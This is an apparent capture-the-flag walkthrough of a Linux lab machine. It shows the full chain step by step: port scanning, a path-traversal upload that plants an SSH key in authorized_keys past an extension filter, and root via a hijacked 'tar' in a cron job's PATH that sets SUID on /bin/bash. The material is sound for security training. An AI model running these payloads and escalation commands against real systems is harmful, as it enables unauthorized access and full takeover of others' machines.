
Reconnaissance
We begin with an nmap port scan against the target to identify active network services:
nmap -sC -sV -p- -T4 <IP>
The scan reveals the following open ports:
- Port 21 (FTP): Running an FTP service that allows anonymous login, but active directory listing fails due to a network timeout.
- Port 25022 (SSH): Standard SSH service running on a non-default port.
- Port 33414 (HTTP2): Running a custom Python-based REST API service.
- Port 40080 (HTTP): Running a standard web server displaying a default test page.
Web Enumeration (Port 33414)
Since port 33414 hosts an API, we run feroxbuster to fuzz directories and locate endpoints:
feroxbuster -u http://<IP>:33414/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
This uncovers two critical paths:
/help– Lists API commands:GET /file-list?dir=/tmp(Lists the files in a specified directory)POST /file-upload(Allows uploading files to the server)
/info– Confirms the back-end technology is a Python REST API server (Flask).
Using the /file-list endpoint, we can list directories:
curl -G "http://<IP>:33414/file-list" --data-urlencode "dir=/home/alfredo"
This lists the directory structure of the user alfredo, indicating we cannot read his private SSH keys directly due to file system permissions. Command injection checks on the dir parameter were unsuccessful.
Initial Access
We analyze the /file-upload endpoint by sending a POST request to upload a sample text file:
curl -X POST http://<IP>:33414/file-upload -F "file=@test.txt"
The API returns a JSON error: No filename part in the request. This implies the application requires a custom parameter named filename to specify the output target file.
Exploiting Path Traversal in File Upload
Since the API constructs the output path using the user-provided filename string without cleaning it, we can abuse it with directory traversal characters (../). We attempt to upload a test file directly into /home/alfredo/:
curl -X POST http://<IP>:33414/file-upload -F "file=@test.txt" -F "filename=../../../../../../home/alfredo/test.txt"
If we verify the contents of /home/alfredo/ via /file-list, we can see the file was successfully written. When we upload another file with the same name, it overwrites it without restriction.
SSH Key Injection
We can leverage this write access to place a public SSH key in /home/alfredo/.ssh/authorized_keys.
However, the server checks the extension of the uploaded file payload (not the destination filename parameter). If we upload a .pub file, it gets blocked by a filter.
To bypass this check:
- We rename our local SSH public key
id_rsa.pubtoid_rsa.jpgto pass the extension filter. - We keep the target
filenameparameter set to the absolute path traversal destination:../../../../../home/alfredo/.ssh/authorized_keys.
curl -X POST http://<IP>:33414/file-upload -F "file=@id_rsa.jpg" -F "filename=../../../../../home/alfredo/.ssh/authorized_keys"
The API returns a success message confirming the upload. We can now connect via SSH as alfredo on port 25022 using our corresponding private key:
ssh -i id_rsa alfredo@<IP> -p 25022
Privilege Escalation
After logging in as alfredo, we run linpeas.sh or inspect the system configuration to find escalation vectors.
We discover a cron job running as root that triggers the script /usr/local/bin/backup-flask.sh every minute. We inspect the script’s contents:
cat /usr/local/bin/backup-flask.sh
The script contains the following execution lines:
#!/bin/bash
export PATH="/home/alfredo/restapi:$PATH"
# ...
tar -czf /tmp/backup.tar.gz /var/www/html
Exploit Analysis: PATH Hijacking
We observe two critical security issues in the cron script:
- It modifies the
PATHenvironment variable by prepending/home/alfredo/restapi. Since we are logged in asalfredo, we have complete write permissions on this directory. - It invokes the command
tarusing a relative name instead of an absolute path (e.g.,/bin/tar).
Because the script searches /home/alfredo/restapi first, we can create a malicious executable file named tar in that folder. When the cron script executes, it will run our custom script as root.
Executing the Hijack
- We create our malicious
tarscript inside/home/alfredo/restapi/:echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /home/alfredo/restapi/tar - We make the script executable:
chmod +x /home/alfredo/restapi/tar - We wait for the cron task to execute (runs every minute).
- After a minute, we verify if the SUID bit was successfully applied to
/bin/bash:ls -la /bin/bash - We trigger the SUID root shell using:
/bin/bash -p
We now have a root session and can read the final flag located in /root/.